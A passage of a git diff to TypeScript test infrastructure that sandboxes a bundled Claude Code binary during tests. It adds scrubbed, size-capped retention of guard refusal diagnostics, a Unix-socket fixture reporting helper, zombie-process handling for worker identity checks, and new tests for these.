8c5866850d..1deea4e749 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts @@ -220,9 +220,9 @@ if (process.argv[2] === "--index-child") { phase ? retainFixtureStream(child.stderr, `/proof/${sharedGit ? "shared-git" : "default"}-${phase}-server.stderr`) : new Response(child.stderr).text().then((text): Awaited> => ({ text })), child.exited]); if (capturedOutput.failure) throw capturedOutput.failure.error; if (capturedErrors.failure) throw capturedErrors.failure.error; - if (phase === "fresh" && !sharedGit) { - const auditRoot = "/identity-server-private/server-ws"; - if (existsSync(auditRoot)) for (const name of readdirSync(auditRoot).filter(name => /^native-startup-audit-[0-9]+\.json$/.test(name))) { + if (phase === "fresh" && !sharedGit || phase === "strict") { + const auditRoot = phase === "strict" ? "/identity-server-private/server-ws-strict" : "/identity-server-private/server-ws"; + if (existsSync(auditRoot)) for (const name of readdirSync(auditRoot).filter(name => /^native-(?:startup-audit|boundary-failure)-[0-9]+(?:-[0-9]+)?\.json$/.test(name))) { // The guard already bounded/scrubbed this snapshot before raw audit cleanup. writePrivateProofArtifact("/proof", name, readFileSync(join(auditRoot, name))); } diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index 086afba70d..f9f1f626e9 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -39,8 +39,8 @@ stage("module-loaded"); const brain = "/brain-fixture/brain", root = profile === "strict" ? "/identity-server-private/server-ws-strict" : "/identity-server-private/server-ws"; const home = join(root, "home"), config = join(home, ".claude"), data = root; mkdirSync(data, { mode: 0o700, recursive: true }); mkdirSync(config, { recursive: true, mode: 0o700 }); -// Temporary diagnosis of the fresh separate-UID startup; only sanitized tails persist. -if (defaultIdentityPhase(process.argv.slice(2)) === "fresh") process.argv.push(`--native-identity-startup-audit=${data}`); +// Retain fresh and strict startup evidence; only bounded, scrubbed records persist. +if (defaultIdentityPhase(process.argv.slice(2)) === "fresh" || profile === "strict") process.argv.push(`--native-identity-startup-audit=${data}`); // Actual separate-UID fixture: directory metadata is shared, file bytes are not. const privateRoot=join(brain,"private"); if (existsSync(privateRoot)) { diff --git a/packages/ui-server/tests/bundled-claude.test.ts b/packages/ui-server/tests/bundled-claude.test.ts index fa4e82fb91..6a793c284b 100644 --- a/packages/ui-server/tests/bundled-claude.test.ts +++ b/packages/ui-server/tests/bundled-claude.test.ts @@ -15,13 +15,13 @@ import { createFixtureWorkerStartupView, prepareFixtureWorkerSandbox } from "../ * real against a loopback server with bogus credentials only. */ import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test"; -import { chmodSync, mkdirSync, rmSync, writeFileSync } from "node:fs"; +import { chmodSync, mkdirSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import type { BackendActivityEvent, BackendBridge } from "@schlessera/brain-ui-sdk/server"; import { createBackendRegistry } from "../src/agent/backend"; import { resolveServerConfig } from "../src/config/env"; -import { fixtureShellQuote } from "../../../scripts/worker-effect-witness"; +import { fixtureShellQuote, fixtureServicePost } from "../../../scripts/worker-effect-witness"; import { bundledClaudeBinary } from "./helpers/claude-binary"; // Distinct bogus values, so a header names exactly which credential was sent. @@ -117,14 +117,14 @@ async function productionTurn(brainPath: string): Promise string[] } { // /tmp is fresh inside the worker; this fixture executable stays read-only. const dir = nativeFixtureDirectory("bundled-wrapper-"); scratch.push(dir); const wrapper = join(dir, "wrapper"); - const report = `await fetch("http://127.0.0.1:${server.port}/fixture-command", {method:"POST", body:process.argv.at(-1)});`; - writeFileSync(wrapper, `#!/bin/sh\n${fixtureShellQuote(process.execPath)} -e ${fixtureShellQuote(report)} "$1"\nexit 1\n`); + const report = fixtureServicePost("/fixture-command","process.argv.at(-1)"); + writeFileSync(wrapper, `#!/bin/sh\n${fixtureShellQuote(process.execPath)} -e ${fixtureShellQuote(report)} "$1" || exit 1\nexec "$1" --version\n`); chmodSync(wrapper, 0o755); return { wrapper, @@ -138,6 +138,7 @@ describe("the binary a turn runs", () => { const brainPath = arrangeHost({ BRAIN_UI_EXEC_WRAPPER: wrapper }); await productionTurn(brainPath); expect(commands(), "BUNDLED_EXECUTABLE_RECORDED").toEqual([bundledClaudeBinary()]); + expect(seen,"BUNDLED_RECORD_ONLY_HAS_NO_INFERENCE").toEqual([]); // The backend's only input to the option: nothing is configured, so // claude-code-path.test.ts's "absent" case is the one that applies. expect(resolveServerConfig(process.env).agent.claudeCodePath).toBeNull(); @@ -146,9 +147,11 @@ describe("the binary a turn runs", () => { test("with CLAUDE_CODE_PATH set, the SDK is given that path unchanged", async () => { const { wrapper, commands } = recordingWrapper(); const hostBinary = join(tempDir("bundled-host-"), "claude"); + symlinkSync(bundledClaudeBinary(),hostBinary); const brainPath = arrangeHost({ BRAIN_UI_EXEC_WRAPPER: wrapper, CLAUDE_CODE_PATH: hostBinary }); await productionTurn(brainPath); expect(commands(), "CONFIGURED_EXECUTABLE_RECORDED").toEqual([hostBinary]); + expect(seen,"CONFIGURED_RECORD_ONLY_HAS_NO_INFERENCE").toEqual([]); }); test("the built-in binary, keyless, sends the subscription token and no API key", async () => { diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index fe33ac5410..b87fff6221 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -147,8 +147,32 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o return false; } +let retainedBoundaryCount=0; +let fixedBoundaryReasons:Set|undefined; +/** Retain only source-defined refusal messages; arbitrary diagnostic text is omitted. */ +export function nativeRetainedBoundaryRecord(reason:string,mountEvidence?:Record){ + if(!fixedBoundaryReasons){ + fixedBoundaryReasons=new Set(); + try{for(const match of readFileSync(new URL(import.meta.url),"utf8").matchAll(/\brefuse\(\s*("(?:\\.|[^"\\])*")/g))fixedBoundaryReasons.add(JSON.parse(match[1]!));}catch{/* Unknown source refuses diagnostic text too. */} + } + const rawPhase=process.argv.find(value=>value.startsWith("--default-phase="))?.slice(16)??process.argv.find(value=>value.startsWith("--shared-phase="))?.slice(15); + const phase=["fresh","warm","strict","controls"].includes(rawPhase??"")?rawPhase!:"unknown"; + const evidence=mountEvidence?{sourceKind:["fixed-system","descriptor","registered-fixture","unregistered-source"].includes(String(mountEvidence.sourceKind))?String(mountEvidence.sourceKind):"unknown",targetKind:["isolated-config","fixture-temporary","runtime-or-fixture"].includes(String(mountEvidence.targetKind))?String(mountEvidence.targetKind):"unknown",metadataError:["ENOENT","EACCES","EPERM","ENOTDIR","ELOOP","UNKNOWN"].includes(String(mountEvidence.metadataError))?String(mountEvidence.metadataError):"UNKNOWN",...(Number.isSafeInteger(mountEvidence.mount)&&Number(mountEvidence.mount)>=0?{mount:Number(mountEvidence.mount)}:{})}:undefined; + return {kind:"native-offline-boundary-retained",head:nativeTestHead(),phase,stage:"boundary-admission",success:false,nativeLaunched:false, + reason:fixedBoundaryReasons.has(reason)?compilerDiagnostic(redactNativeDiagnosticAssignments(reason)).slice(0,512):"unclassified native boundary refusal",...(evidence?{mountEvidence:evidence}:{})}; +} +function retainNativeBoundaryRefusal(reason:string,mountEvidence?:Record):void { + const root=process.argv.find(value=>value.startsWith("--native-identity-startup-audit="))?.slice("--native-identity-startup-audit=".length); + if(!root||retainedBoundaryCount>=16)return; + try{ + const info=lstatSync(root);if(resolve(root)!==root||realpathSync(root)!==root||!info.isDirectory()||info.uid!==process.getuid?.()||(info.mode&0o077)!==0)throw Error("invalid private diagnostic root"); + const text=JSON.stringify(nativeRetainedBoundaryRecord(reason,mountEvidence));if(Buffer.byteLength(text)>4096)throw Error("boundary diagnostic exceeds bound"); + writeFileSync(join(root,`native-boundary-failure-${process.pid}-${retainedBoundaryCount++}.json`),text,{flag:"wx",mode:0o600}); + }catch{try{nativeReceipt({kind:"native-fixture-boundary-retention-failure",head:nativeTestHead(),success:false,reason:"private boundary snapshot unavailable"});}catch{/* Refusal must still terminate if its receipt channel has closed. */}} +} function refuse(reason: string, mountEvidence?: Record, compilerStderr?: string): never { denied++; + retainNativeBoundaryRefusal(reason,mountEvidence); // SDK callers may await an event that a refused launch can never emit. // End this failed test invocation after synchronous callers see the error. setImmediate(() => process.exit(1)); @@ -950,6 +974,15 @@ export function nativeRtkProcessEvidence(pid:number){ let exeReadlink="ok",exeStat="ok";try{readlinkSync(`/proc/${pid}/exe`);}catch(error){exeReadlink=label(error);}try{statSync(`/proc/${pid}/exe`);}catch(error){exeStat=label(error);} return {processState,leader,exeReadlink,exeStat}; } +/** Kernel state and the audited start identity must both remain readable. */ +function nativeRtkCandidateState(pid:number,auditedStart:string):string { + let fields:string[];try{fields=readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").trim().split(/\s+/);}catch{throw Error("native fixture RTK worker identity unavailable");} + if(fields[19]!==auditedStart)throw Error("native fixture RTK audited identity changed"); + const state=fields[0]!; + if(!["R","S","D","T","t","I","Z","X"].includes(state))throw Error("native fixture RTK worker identity unavailable"); + return state; +} +function nativeRtkExitedState(state:string):boolean {return state==="Z"||state==="X";} /** Re-register only the kernel/audit-proven payload view hidden by our broker. */ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker):void { const record=nativeFixtureRtkSpawns.get(worker.pid); @@ -966,13 +999,21 @@ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/s for(const [pid,auditedStart] of record.liveExecs()){ const start=owned.get(pid);if(!start)continue; if(start!==auditedStart)throw Error("native fixture RTK audited identity changed"); - let executable:string;try{executable=realpathSync(`/proc/${pid}/exe`);}catch(error){throw Error("native fixture RTK executable unavailable",{cause:{source:"read-proc-exe",errno:(error as NodeJS.ErrnoException).code,...nativeRtkProcessEvidence(pid)}});} + if(nativeRtkExitedState(nativeRtkCandidateState(pid,auditedStart)))continue; + let executable:string;try{executable=realpathSync(`/proc/${pid}/exe`);}catch(error){ + // A process may exit after the first state read, leaving a zombie inode. + if((error as NodeJS.ErrnoException).code==="ENOENT"&&nativeRtkExitedState(nativeRtkCandidateState(pid,auditedStart)))continue; + throw Error("native fixture RTK executable unavailable",{cause:{source:"read-proc-exe",errno:(error as NodeJS.ErrnoException).code,...nativeRtkProcessEvidence(pid)}}); + } if(nativeRtkProcessEvidence(pid).leader!==true)throw Error("native fixture RTK audited identity changed"); if(!expected.includes(executable))throw Error("native fixture RTK executable changed",{cause:expected.some(path=>basename(path)===basename(executable))?"basename-equal-but-path-differs":"different-basename"}); - if(processStart(pid)!==start)throw Error("native fixture RTK payload identity changed");selected.push(pid); + if(processStart(pid)!==start)throw Error("native fixture RTK payload identity changed"); + if(nativeRtkExitedState(nativeRtkCandidateState(pid,auditedStart)))continue; + selected.push(pid); } if(selected.length!==1)throw Error(selected.length===0?"native fixture RTK payload missing":"native fixture RTK payload ambiguous"); if(processStart(worker.pid)!==record.start||processStart(selected[0]!)!==owned.get(selected[0]!))throw Error("native fixture RTK identity changed"); + if(nativeRtkExitedState(nativeRtkCandidateState(selected[0]!,owned.get(selected[0]!)!)))throw Error("native fixture RTK payload missing"); const {registerWorkerRtk}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-rtk.ts") as typeof import("../packages/ui-sdk/src/server/worker-rtk"); registerWorkerRtk(worker,selected[0]!,record.launch); } diff --git a/scripts/worker-effect-witness.ts b/scripts/worker-effect-witness.ts index 88fe3951f6..ccdc5dbba3 100644 --- a/scripts/worker-effect-witness.ts +++ b/scripts/worker-effect-witness.ts @@ -2,17 +2,20 @@ export function fixtureShellQuote(text: string): string { return `'${text.replaceAll("'", "'\"'\"'")}'`; } +/** Diagnostic posts use the registered service, independently of provider routing. */ +export function fixtureServicePost(path:string,bodyExpression:string):string { + if(!/^\/[A-Za-z0-9_/-]+$/.test(path)||path.startsWith("//"))throw Error("Fixture service path must be a fixed absolute pathname"); + return `const socket=process.env.BRAIN_TEST_EFFECT_SOCKET; + if(!socket)throw Error("Fixture observation requires the pinned scripted Unix service"); + const response=await fetch(${JSON.stringify("http://localhost"+path)},{unix:socket,method:"POST",body:(${bodyExpression})}); + if(!response.ok) process.exit(1);`; +} export function createWorkerEffectWitness(paths: Record) { const effects = Object.fromEntries(Object.keys(paths).map(key => [key, false])); const path = `/__fixture_effects/${crypto.randomUUID()}`; const witness = `import {existsSync} from "node:fs"; const paths=${JSON.stringify(paths)}; - const socket=process.env.BRAIN_TEST_EFFECT_SOCKET; - if(!socket)throw Error("Fixture effect witness requires the pinned scripted Unix service"); - const url=new URL(${JSON.stringify(path)},process.env.ANTHROPIC_BASE_URL); - const response=await fetch(url,{unix:socket,method:"POST",body:JSON.stringify( - Object.fromEntries(Object.entries(paths).map(([key,path])=>[key,existsSync(path)])))}); - if(!response.ok) process.exit(1);`; + ${fixtureServicePost(path,'JSON.stringify(Object.fromEntries(Object.entries(paths).map(([key,path])=>[key,existsSync(path)])))')}`; return { effects, path, async fetch(request: Request): Promise { if(request.method!=="POST"||new URL(request.url).pathname!==path)return new Response(null,{status:404}); diff --git a/tests/experiment-tier.test.ts b/tests/experiment-tier.test.ts index b213d56069..e898cc1444 100644 --- a/tests/experiment-tier.test.ts +++ b/tests/experiment-tier.test.ts @@ -17,7 +17,7 @@ import { const ROOT = join(import.meta.dir, ".."); const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-experiments.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", - "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; + "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; const passing = (name: string) => `import { expect, test } from "bun:test";\ntest(${JSON.stringify(name)}, () => expect(1).toBe(1));\n`; diff --git a/tests/helpers/native-guard-copy-inventory.ts b/tests/helpers/native-guard-copy-inventory.ts new file mode 100644 index 0000000000..b3bd9c56e8 --- /dev/null +++ b/tests/helpers/native-guard-copy-inventory.ts @@ -0,0 +1,48 @@ +/** Syntax-only closure checks for disposable copies of the offline guard. */ +import ts from "typescript"; +import {existsSync,statSync,readFileSync} from "node:fs"; +import {dirname,join,relative,resolve} from "node:path"; +export interface GuardCopyList {owner:string;line:number;files:Set} +const guardName=(file:string)=>/^(?:scripts\/)?test-(?:network|native)-guard\.ts$/.test(file); +const normalized=(file:string)=>file.startsWith("scripts/")||file.startsWith("packages/")?file:`scripts/${file}`; +function literals(node:ts.Node):string[]{const values:string[]=[];function visit(child:ts.Node):void{if(ts.isStringLiteral(child)||ts.isNoSubstitutionTemplateLiteral(child))values.push(child.text);else ts.forEachChild(child,visit);}visit(node);return values;} +export function guardCopyLists(owner:string,text:string):GuardCopyList[]{ + const source=ts.createSourceFile(owner,text,ts.ScriptTarget.Latest,true),arrays:ts.ArrayLiteralExpression[]=[],direct=new Map>();let copier=false; + function scope(node:ts.Node):ts.Node{let parent=node.parent;while(parent&&!ts.isFunctionLike(parent)&&!ts.isSourceFile(parent))parent=parent.parent;return parent??source;} + function visit(node:ts.Node):void{ + if(ts.isArrayLiteralExpression(node)&&(ts.isVariableDeclaration(node.parent)||ts.isForOfStatement(node.parent)||ts.isCallExpression(node.parent)&&/(?:copy|write)/i.test(node.parent.expression.getText(source)))&&node.elements.some(item=>(ts.isStringLiteral(item)||ts.isNoSubstitutionTemplateLiteral(item))&&guardName(item.text)))arrays.push(node); + if(ts.isCallExpression(node)&&/(?:^|\.)(?:copyFileSync|cpSync|writeFileSync|write)$/.test(node.expression.getText(source))){ + copier=true; + if(/(?:^|\.)copyFileSync$/.test(node.expression.getText(source))&&node.arguments[1]){ + const files=literals(node.arguments[1]).filter(value=>/^scripts\/[\w./-]+\.(?:ts|mjs)$/.test(value)); + if(files.length){const key=scope(node),group=direct.get(key)??new Set();for(const file of files)group.add(file);direct.set(key,group);} + } + }ts.forEachChild(node,visit); + }visit(source); + if(!copier)return []; + return [...arrays.map(node=>({owner,line:source.getLineAndCharacterOfPosition(node.getStart(source)).line+1,files:new Set(node.elements.flatMap(item=>ts.isStringLiteral(item)||ts.isNoSubstitutionTemplateLiteral(item)?[normalized(item.text)]:[]))})), + ...[...direct].filter(([,files])=>[...files].some(guardName)).map(([node,files])=>({owner,line:source.getLineAndCharacterOfPosition(node.getStart(source)).line+1,files}))]; +} +export function relativeImportClosure(root:string,entry:string):Set{ + const files=new Set(); + function visit(file:string):void{ + if(files.has(file))return;files.add(file); + const source=ts.createSourceFile(file,readFileSync(join(root,file),"utf8"),ts.ScriptTarget.Latest,true); + function dependency(specifier:string):void{ + if(!specifier.startsWith("."))return; + const base=resolve(root,dirname(file),specifier),candidates=[base,base+".ts",base+".mjs",base.replace(/\.js$/,".ts"),join(base,"index.ts")]; + const target=candidates.find(path=>existsSync(path)&&statSync(path).isFile());if(!target)throw Error(`Unresolved guard import: ${file} -> ${specifier}`); + visit(relative(root,target)); + } + function imports(node:ts.Node):void{ + if(ts.isImportDeclaration(node)&&!node.importClause?.isTypeOnly&&ts.isStringLiteral(node.moduleSpecifier))dependency(node.moduleSpecifier.text); + if(ts.isExportDeclaration(node)&&!node.isTypeOnly&&node.moduleSpecifier&&ts.isStringLiteral(node.moduleSpecifier))dependency(node.moduleSpecifier.text); + if(ts.isCallExpression(node)&&node.expression.kind===ts.SyntaxKind.ImportKeyword&&node.arguments[0]&&ts.isStringLiteral(node.arguments[0]))dependency(node.arguments[0].text); + ts.forEachChild(node,imports); + }imports(source); + }visit(entry);return files; +} +export function missingGuardImports(root:string,list:GuardCopyList):string[]{ + const required=new Set();for(const file of list.files)if(guardName(file))for(const dependency of relativeImportClosure(root,file))required.add(dependency); + return [...required].filter(file=>!list.files.has(file)).sort(); +} diff --git a/tests/helpers/unit-worker-fixture.ts b/tests/helpers/unit-worker-fixture.ts index f2a85e87dc..5f822e8188 100644 --- a/tests/helpers/unit-worker-fixture.ts +++ b/tests/helpers/unit-worker-fixture.ts @@ -74,7 +74,7 @@ const stop=Date.now()+5000;while((!existsSync(join(shared,"built-1"))||!existsSy ${options.failBuild ? "process.exit(7);" : ""} mkdirSync("dist",{recursive:true});writeFileSync("dist/lease.json",JSON.stringify({lease:JSON.parse(process.env.BRAIN_WORKSPACE_LEASE),nonce:process.env.BRAIN_TEST_INVOCATION_NONCE}));writeFileSync("dist/ready.txt","Odysseus builds the raft.");receipt.packageEnd("raft",true);receipt.finish(0);\n`); for (const file of ["scripts/test.ts", "scripts/runtime-test-builds.ts", "scripts/test-invocation.ts", "scripts/test-invocation-child.ts", "scripts/publishable-packages.ts", - "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/test-native-guard.ts", "packages/core/tests/cli-harness.ts"]) { + "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/test-native-guard.ts", "scripts/native-test-receipts.ts", "scripts/native-device-diagnostics.ts", "scripts/native-exec-trace.ts", "packages/core/tests/cli-harness.ts"]) { write(file, readFileSync(join(source, file), "utf8")); } const files = ["odysseus", "penelope"].map(name => `tests/${name}.test.ts`); diff --git a/tests/native-boundary-retention.test.ts b/tests/native-boundary-retention.test.ts new file mode 100644 index 0000000000..64be6132ab --- /dev/null +++ b/tests/native-boundary-retention.test.ts @@ -0,0 +1,49 @@ +import {expect,test} from "bun:test"; +import {mkdtempSync,readFileSync,readdirSync,lstatSync,rmSync} from "node:fs"; +import {join} from "node:path"; +import ts from "typescript"; +import {nativeRetainedBoundaryRecord} from "../scripts/test-native-guard"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; +const rootRepo=join(import.meta.dir,".."); + +for(const mode of ["retained","world-readable","symlink","dotdot"] as const)test(`boundary refusal survives closed receipts only in a private canonical root: ${mode}`,async()=>{ + const root=mkdtempSync("/tmp/odysseus-boundary-retained-"); + try{ + const code=`import * as fs from "node:fs";import {mock} from "bun:test"; + const receipts=await import(${JSON.stringify(join(rootRepo,"scripts/native-test-receipts.ts"))});mock.module(${JSON.stringify(join(rootRepo,"scripts/native-test-receipts.ts"))},()=>({...receipts,nativeReceipt:()=>{}})); + const root=${JSON.stringify(root)},mode=${JSON.stringify(mode)};let target=root; + if(mode==="world-readable")fs.chmodSync(root,0o755); + if(mode==="symlink"){fs.symlinkSync(root,root+"-alias");target=root+"-alias";} + if(mode==="dotdot")target=root+"/../"+root.split("/").at(-1); + process.argv.push("--default-phase=strict","--native-identity-startup-audit="+target); + const {nativeWorkerBoundary}=await import(${JSON.stringify(join(rootRepo,"scripts/test-native-guard.ts"))}); + for(let i=0;i<24;i++)try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:"{"});}catch{} + `; + const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,channel]=await Promise.all([child.exited,child.guardOutput()]); + expect(exit).not.toBe(0);expect(channel,"RECEIPTS_ARE_SUPPRESSED_IN_RETENTION_PROOF").not.toContain('"kind":"native-offline-boundary"'); + const files=readdirSync(root).filter(name=>name.startsWith("native-boundary-failure-")); + expect(files.length,"BOUNDARY_RECORD_SURVIVES_TEARDOWN_AND_IS_CAPPED").toBe(mode==="retained"?16:0); + for(const file of files){const path=join(root,file),text=readFileSync(path,"utf8");expect(Buffer.byteLength(text)).toBeLessThanOrEqual(4096);expect(lstatSync(path).mode&0o777).toBe(0o600);expect(JSON.parse(text)).toMatchObject({phase:"strict",stage:"boundary-admission",success:false,nativeLaunched:false,reason:"invalid worker launch metadata"});} + }finally{rmSync(root+"-alias",{force:true});rmSync(root,{recursive:true,force:true});} +}); + +test("retained boundary diagnostics omit arbitrary paths credentials and metadata",()=>{ + const unsafe='Error: ANTHROPIC_AUTH_TOKEN=x /home/private-owner/My Secret/settings.json '+"s".repeat(10000); + const record=nativeRetainedBoundaryRecord(unsafe,{sourceKind:unsafe,targetKind:unsafe,metadataError:unsafe,relativePath:unsafe,mount:7}); + expect(record).toMatchObject({reason:"unclassified native boundary refusal",mountEvidence:{sourceKind:"unknown",targetKind:"unknown",metadataError:"UNKNOWN",mount:7}}); + const text=JSON.stringify(record);expect(Buffer.byteLength(text)).toBeLessThanOrEqual(4096);for(const secret of ["private-owner","My Secret","ANTHROPIC_AUTH_TOKEN","settings.json"])expect(text,"RETAINED_BOUNDARY_TEXT_IS_FIXED_AND_SCRUBBED").not.toContain(secret); + expect(nativeRetainedBoundaryRecord("worker command and executable argv disagree").reason).toBe("worker command and executable argv disagree"); +}); + +test("strict identity enables and exports retained admission and exec evidence",()=>{ + const source=ts.createSourceFile("identity.ts",readFileSync(join(rootRepo,"packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts"),"utf8"),ts.ScriptTarget.Latest,true); + let predicate="";function visit(node:ts.Node):void{if(ts.isIfStatement(node)&&node.thenStatement.getText(source).includes('process.argv.push(`--native-identity-startup-audit='))predicate=node.expression.getText(source);ts.forEachChild(node,visit);}visit(source); + const enabled=Function("defaultIdentityPhase","process","profile","return ("+predicate+")"); + expect(enabled(()=>"strict",{argv:[]},"strict"),"STRICT_IDENTITY_RETAINS_STARTUP_EVIDENCE").toBe(true);expect(enabled(()=>undefined,{argv:[]},"strict")).toBe(true);expect(enabled(()=>"fresh",{argv:[]},"governed")).toBe(true); + const root=ts.createSourceFile("root.ts",readFileSync(join(rootRepo,"packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts"),"utf8"),ts.ScriptTarget.Latest,true); + let exported="",directory="";function exports(node:ts.Node):void{if(ts.isIfStatement(node)&&ts.isBlock(node.thenStatement))for(const statement of node.thenStatement.statements)if(ts.isVariableStatement(statement))for(const declaration of statement.declarationList.declarations)if(declaration.name.getText(root)==="auditRoot"){exported=node.expression.getText(root);directory=declaration.initializer!.getText(root);}ts.forEachChild(node,exports);}exports(root); + expect(Function("phase","sharedGit","return ("+exported+")")("strict",false),"STRICT_IDENTITY_EXPORTS_RETAINED_EVIDENCE").toBe(true); + expect(Function("phase","sharedGit","return ("+exported+")")("strict",true)).toBe(true); + expect(Function("phase","return ("+directory+")")("strict")).toBe("/identity-server-private/server-ws-strict"); + expect(root.text,"BOUNDARY_SNAPSHOTS_ARE_EXPORTED_WITH_AUDITS").toContain("startup-audit|boundary-failure"); +}); diff --git a/tests/native-guard-copy-closure.test.ts b/tests/native-guard-copy-closure.test.ts new file mode 100644 index 0000000000..e5fe22c919 --- /dev/null +++ b/tests/native-guard-copy-closure.test.ts @@ -0,0 +1,22 @@ +import {expect,test} from "bun:test"; +import {readFileSync} from "node:fs"; +import {join} from "node:path"; +import {guardCopyLists,missingGuardImports} from "./helpers/native-guard-copy-inventory"; +const root=join(import.meta.dir,".."); + +test("every copied offline guard includes its transitive relative import closure",()=>{ + const owners=new Set();let lists=0; + for(const pattern of ["tests/**/*.ts","packages/*/tests/**/*.ts","scripts/**/*.ts"])for(const file of new Bun.Glob(pattern).scanSync({cwd:root})){ + const text=readFileSync(join(root,file),"utf8");if(!/test-(?:network|native)-guard\.ts/.test(text))continue; + for(const list of guardCopyLists(file,text)){lists++;owners.add(file);expect(missingGuardImports(root,list),`GUARD_COPY_IMPORT_CLOSURE ${file}:${list.line}`).toEqual([]);} + } + expect(lists,"GUARD_COPY_LISTS_ARE_ACTUALLY_DISCOVERED").toBeGreaterThanOrEqual(10); + for(const file of ["tests/experiment-tier.test.ts","tests/workspace-lease.test.ts","tests/helpers/unit-worker-fixture.ts","tests/helpers/test-invocation-fixture.ts","tests/native-policy-artifact.test.ts","tests/native-offline-boundary.test.ts"])expect(owners.has(file),"KNOWN_GUARD_COPY_OWNER_IS_DISCOVERED "+file).toBe(true); +}); + +test("copy inventory rejects a missing transitive module in an otherwise complete list",()=>{ + const files=["test-network-guard.ts","test-native-guard.ts","native-device-diagnostics.ts","native-exec-trace.ts","workspace-lease.mjs"]; + const text=`const files=${JSON.stringify(files)};for(const file of files)copyFileSync(file,file);`; + const lists=guardCopyLists("fixture-copy.ts",text);expect(lists).toHaveLength(1); + expect(missingGuardImports(root,lists[0]!)).toEqual(["scripts/native-test-receipts.ts"]); +}); diff --git a/tests/native-recording-wrapper.test.ts b/tests/native-recording-wrapper.test.ts new file mode 100644 index 0000000000..022c31d1a6 --- /dev/null +++ b/tests/native-recording-wrapper.test.ts @@ -0,0 +1,27 @@ +import { expect, test } from "bun:test"; +import { chmodSync, mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import ts from "typescript"; +import { fixtureServicePost, fixtureShellQuote } from "../scripts/worker-effect-witness"; +import { compileSocketPolicy, nativeTestHead, startNativeTestRelay } from "../scripts/test-native-guard"; +import { watchdogMs } from "../scripts/test-deadlines"; + +test("actual recording wrapper posts selected argv then execs only version with no inference",async()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-recording-")),commands:string[]=[];let inference=0; + const server=Bun.serve({port:0,async fetch(req){if(new URL(req.url).pathname==="/fixture-command"){commands.push(await req.text());return new Response(null,{status:204});}inference++;return new Response(null,{status:400});}}); + const relay=startNativeTestRelay(server.url.origin),socket=join(relay.directory,"relay.sock"); + try{ + const source=readFileSync(join(import.meta.dir,"../packages/ui-server/tests/bundled-claude.test.ts"),"utf8"); + const ast=ts.createSourceFile("fixture.ts",source,ts.ScriptTarget.Latest,true); + const fn=ast.statements.find(n=>ts.isFunctionDeclaration(n)&&n.name?.text==="recordingWrapper")!; + const js=ts.transpile(fn.getText(ast),{target:ts.ScriptTarget.ESNext}); + const create=Function("nativeFixtureDirectory","scratch","join","writeFileSync","chmodSync","fixtureServicePost","fixtureShellQuote","process","wrapperCommands",js+";return recordingWrapper;")(()=>root,[],join,writeFileSync,chmodSync,fixtureServicePost,fixtureShellQuote,process,commands); + const {wrapper}=create(),info=statSync(socket,{bigint:true}); + const child=Bun.spawn([compileSocketPolicy(),"--head",nativeTestHead(),"--socket",socket,"--device",String(info.dev),"--inode",String(info.ino),"--allowed",socket,"--",wrapper,"/usr/bin/true"],{env:{PATH:"/usr/bin:/bin",BRAIN_TEST_EFFECT_SOCKET:socket,ANTHROPIC_BASE_URL:"http://127.0.0.1:43123"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)}); + const [code,errors]=await Promise.all([child.exited,new Response(child.stderr).text()]); + expect(commands,"RECORDING_WRAPPER_SHARED_CHANNEL").toEqual(["/usr/bin/true"]); + expect(code,"RECORDED_RUNTIME_EXEC_VERSION "+errors).toBe(0); + expect(inference,"RECORDING_WRAPPER_ZERO_INFERENCE").toBe(0); + }finally{relay.dispose();server.stop(true);rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-rtk-zombie.test.ts b/tests/native-rtk-zombie.test.ts new file mode 100644 index 0000000000..9e7e1eb30f --- /dev/null +++ b/tests/native-rtk-zombie.test.ts @@ -0,0 +1,47 @@ +import {expect,test} from "bun:test"; +import {mkdtempSync,writeFileSync,rmSync} from "node:fs"; +import {join} from "node:path"; +import {watchdogMs} from "../scripts/test-deadlines"; + +const modes=["zombie-live","zombie-only","zombie-start-mismatch","two-live","unknown-state","live-ENOENT","live-EACCES","state-EACCES"] as const; +for(const mode of modes)test(`RTK zombie candidate 